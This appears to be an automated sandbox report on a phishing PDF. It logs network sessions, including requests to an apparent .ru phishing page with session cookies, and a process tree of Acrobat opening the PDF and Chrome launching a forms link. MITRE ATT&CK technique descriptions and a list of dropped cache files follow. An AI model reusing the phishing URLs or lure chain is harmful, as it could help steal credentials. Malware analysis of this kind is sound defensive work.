2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 f0 d8 bb 9f 10 39 cf fb 80 e3 cf fb 67 fe ac 64 cb 76 40 71 da 83 9c 3f 26 14 c9 92 bd 4a 23 0c b1 72 68 c8 b1 e9 a1 89 43 b1 8a 88 15 50 a1 31 24 84 1a 92 42 08 3d e4 90 1c da a2 50 30 54 04 51 19 23 27 a7 96 d2 43 88 09 c6 2d c1 c1 5e 6b ad f5 21 b4 49 ab 43 53 67 a1 5a 39 52 b5 ab dd d9 e9 61 e3 ad ab 3f bb 3b b3 b3 fb 7b 9f 99 cf e7 60 76 77 e6 7d fd bb 8d c7 cf f7 7d 1e 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 Data Ascii: @13\|3@13\|3@9gdv@q?&J#rhCP1$B=P0TQ#'C-^k!ICSgZ9Ra?;{`vw}}&
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 08 26 e6 03 00 00 00 00 00 00 00 00 80 60 62 3e 00 00 00 00 00 00 00 00 00 Data Ascii: &`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>&`b>
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: e3 c3 e7 3a 00 64 ac 28 52 d7 53 77 00 00 00 00 00 30 a9 ba ed ba 70 78 0f 00 8c 0b 31 1f 00 64 ac db aa 4b df d1 01 00 00 00 00 60 52 95 45 d1 6d 79 ec 1f 00 c6 84 98 0f 00 72 55 55 0e d8 05 00 00 00 00 80 49 d7 6e 55 55 65 e9 1f 00 c6 81 4f 74 00 c8 55 57 c9 07 00 00 00 00 00 58 32 00 80 71 21 e6 03 80 2c b5 ea b2 f6 98 1d 00 00 00 00 00 90 52 5d 95 ad da aa 01 00 64 cf c7 39 00 64 a9 d3 aa a3 47 00 00 00 00 00 00 9a c2 c2 01 00 8c 01 31 1f 00 e4 a7 55 57 55 59 44 4f 01 00 00 00 00 00 34 45 55 16 ad da 61 bb 00 90 37 31 1f 00 e4 a7 d3 f2 6d 1c 00 00 00 00 00 f8 7f 2c 1f 00 40 ee c4 7c 00 90 99 ba 2a 6d cb 07 00 00 00 00 00 dc a2 2a 8b ba d2 00 00 40 c6 7c 90 03 40 66 3c 57 07 00 00 00 00 00 dc 91 45 04 00 c8 9a 98 0f 00 72 52 7a a8 0e 00 00 00 00 00 b8 Data Ascii: :d(RSw0px1dK`REmyrUUInUUeOtUWX2q!,R]d9dG1UWUYDO4EUa71m,@\|m@\|@f<WErRz
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 64 3a 7a 0a 00 00 00 00 00 00 00 9a 4e cc 07 00 64 23 c7 92 af 73 e2 54 f4 14 00 00 00 00 00 00 00 64 40 cc 07 00 e4 41 c9 07 00 00 00 00 00 00 c0 18 13 f3 01 00 19 50 f2 01 00 00 00 00 00 00 30 de c4 7c 00 40 d3 ad cc ce 28 f9 00 00 00 00 00 00 00 18 6f 75 f4 00 00 00 9b b8 f2 d5 d3 3b 77 f3 ee f4 b1 b5 1f da 47 a6 d7 7e b8 39 3b 93 52 5a 9c 79 75 b8 1b 2a f9 00 00 00 00 00 00 00 18 82 98 0f 00 68 b4 5f 3f fb a5 91 df b3 3b 7d 6c ea c4 a9 94 52 fd 6e c0 f7 5e 9d 94 52 4a f7 a6 94 52 5a 3a 7f 36 a5 b4 f5 7d 01 95 7c 00 00 00 00 00 00 00 0c a7 58 b8 b6 18 3d 03 00 b0 89 fb f6 76 a2 47 88 b1 74 fe ec 08 0f d8 5d 6b f8 ee 18 f0 8d 64 12 25 1f 00 00 00 00 00 8d 72 f5 fa 52 f4 08 00 c0 00 c4 7c 00 90 81 89 8d f9 e6 3f 7d 6c 24 f7 d9 4e c6 f7 5e 1b 24 7d 4a 3e Data Ascii: d:zNd#sTd@AP0\|@(ou;wG~9;RZyu*h_?;}lRn^RJRZ:6}\|X=vGt]kd%rR\|?}l$N^$}J>
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: ae 1f 7b 7c fe 33 2f 2f ef bd fd a5 86 6c ce 37 dc 19 bb 8f 3d 54 8f 7c 12 00 00 00 00 00 00 00 f2 22 e6 03 00 1a a4 78 e0 f1 bb bd 74 cb d1 ba b7 78 e5 ed 37 cf cd bd b8 33 43 6d d5 ec e5 de 70 67 ec 1e 7e a8 18 f9 30 00 00 00 00 00 00 00 e4 45 cc 07 00 34 c8 dd 4e da dd b8 e4 5b 73 e6 d2 85 1d 98 68 00 c3 6d cb 97 52 72 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 59 aa 0f 9d 79 ef af 97 6e 3e fc f8 fc 67 36 2d f9 d6 7c f9 c7 df dc 91 99 b6 60 e8 6d f9 8e 1e 70 c6 2e 00 00 00 00 00 00 00 62 3e 00 a0 c1 5e b8 7e ec 8b 57 0f 6e fd fd 51 87 ed ce 5e ee 7d e5 fc 8d e1 ae fd e3 4f b6 46 3b 0c 00 00 00 00 00 00 00 39 12 f3 01 00 cd b2 7e d2 ee 56 8e d6 bd dd 99 4b 17 76 bf e7 1b fa 80 dd e4 8c 5d 00 00 00 00 00 00 00 52 4a 29 39 d6 0d 00 68 9c 7f ff f0 0b 7f f3 fa Data Ascii: {\|3//l7=T\|"xtx73Cmpg~0E4N[shmRr.b>Yyn>g6-\|`mp.b>^~WnQ^}OF;9~VKv]RJ)9h
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 f3 01 00 00 00 00 00 00 00 00 40 30 31 1f 00 00 00 00 00 00 00 00 00 04 13 Data Ascii: @01@01@01@01@01@01@01@01@01@01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50053	104.21.32.1	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:58 UTC	1369	OUT	GET /favicon.ico HTTP/1.1 Host: 5qwo.oventera.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImVteVRzWXN4K1JuNTA2MHpqWGZXWkE9PSIsInZhbHVlIjoiSXVwKzRZWHRqeHVJWU9rWExXWTdqSFNxV1ArQTVjVnp5NWxIZWp5VkR5Z2pselBZOGNpMUpBaHJDUE1IQThzV204QS9naGtKUGxQcE9NbE9vTzh2RjJ4Tm1jV3IxVUNYOHdBNkNrejZMdlROTnNrY0NzV1RROW9qZzJPREZadW4iLCJtYWMiOiIzYmI5YmZkOTE0MzJjMTI0MGQwNTRiZTY0N2IwM2RkNDE3OTQ5NWUzODcxMTA3MGYxZTQwYWRjOGZkOWM2M2ZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IktwRG4wWXlFZzRHL2pxdFpseHBvM3c9PSIsInZhbHVlIjoiNC91cDNDYWp6UXJ5UzJGa0pBV3U5ZlYwNG1CKzVNUDNKODlBU1JpNStsNXdsQzlxRjBXM0NwSDJBWDBHSjZOc0hHNVA0aDlBc2U0K0oxcW8rZU13bEFXYmlPNkZ4QUVnUGNVY2lrU2NKUi9uejloNlJJTldYTDQ5c1RQUi9XeTQiLCJtYWMiOiI3OTJiNzRmYjJlNTQyMTZmM2NkN2NkODc3ODhhYzBkYzQwNjhlZTc0NDAwZmVlMWZlYzI5YTkyYmQzMGY4Y2Q0IiwidGFnIjoiIn0%3D
2025-01-10 11:06:58 UTC	1065	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 11:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v9s9dAcznNpE1kUuvmB%2Flo2MawSGLoeLuIULt1ecyz8QjWlB3PFEmylCCNRRyTQF6racTJd%2Fq4oGme4YTXD5CPvhSi5EDR2Pks25PwANAQvSbDnF8U4yafsKQ3kZ1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4964&min_rtt=4925&rtt_var=1442&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2308&delivery_rate=554193&cwnd=251&unsent_bytes=0&cid=25dc8f56b4dafa3c&ts=339&x=0" CF-Cache-Status: HIT Age: 677 Server: cloudflare CF-RAY: 8ffc33611b5072b9-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1799&rtt_var=688&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1947&delivery_rate=1575822&cwnd=217&unsent_bytes=0&cid=58b48b46d5705db3&ts=4511&x=0"
2025-01-10 11:06:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50060	35.190.80.1	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:58 UTC	533	OUT	OPTIONS /report/v4?s=v9s9dAcznNpE1kUuvmB%2Flo2MawSGLoeLuIULt1ecyz8QjWlB3PFEmylCCNRRyTQF6racTJd%2Fq4oGme4YTXD5CPvhSi5EDR2Pks25PwANAQvSbDnF8U4yafsKQ3kZ1A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://5qwo.oventera.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:58 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 10 Jan 2025 11:06:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50061	35.190.80.1	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:59 UTC	474	OUT	POST /report/v4?s=v9s9dAcznNpE1kUuvmB%2Flo2MawSGLoeLuIULt1ecyz8QjWlB3PFEmylCCNRRyTQF6racTJd%2Fq4oGme4YTXD5CPvhSi5EDR2Pks25PwANAQvSbDnF8U4yafsKQ3kZ1A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 478 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:59 UTC	478	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 35 71 77 6f 2e 6f 76 65 6e 74 65 72 61 2e 72 75 2f 31 4f 53 6f 4b 2f 3f 73 75 62 6d 69 73 73 69 6f 6e 47 75 69 64 3d 33 37 32 64 30 33 32 64 2d 31 62 34 32 2d 34 64 61 63 2d 62 66 31 37 2d 37 36 63 30 38 36 31 35 38 34 66 62 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 32 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 Data Ascii: [{"age":1,"body":{"elapsed_time":105,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://5qwo.oventera.ru/1OSoK/?submissionGuid=372d032d-1b42-4dac-bf17-76c0861584fb","sampling_fraction":1.0,"server_ip":"104.21.32.1","status_code
2025-01-10 11:06:59 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 10 Jan 2025 11:06:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	06:04:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:04:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:04:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,14027033372675645818,4714540916533078319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:04:30
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	06:04:31
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2532,i,2747165998930371040,13426695506378411173,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4a7e697d-6bd4-4b56-a6fa-74f8962994e3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250110110410Z-163.bmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5464

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5464

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Windows Analysis Report
AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf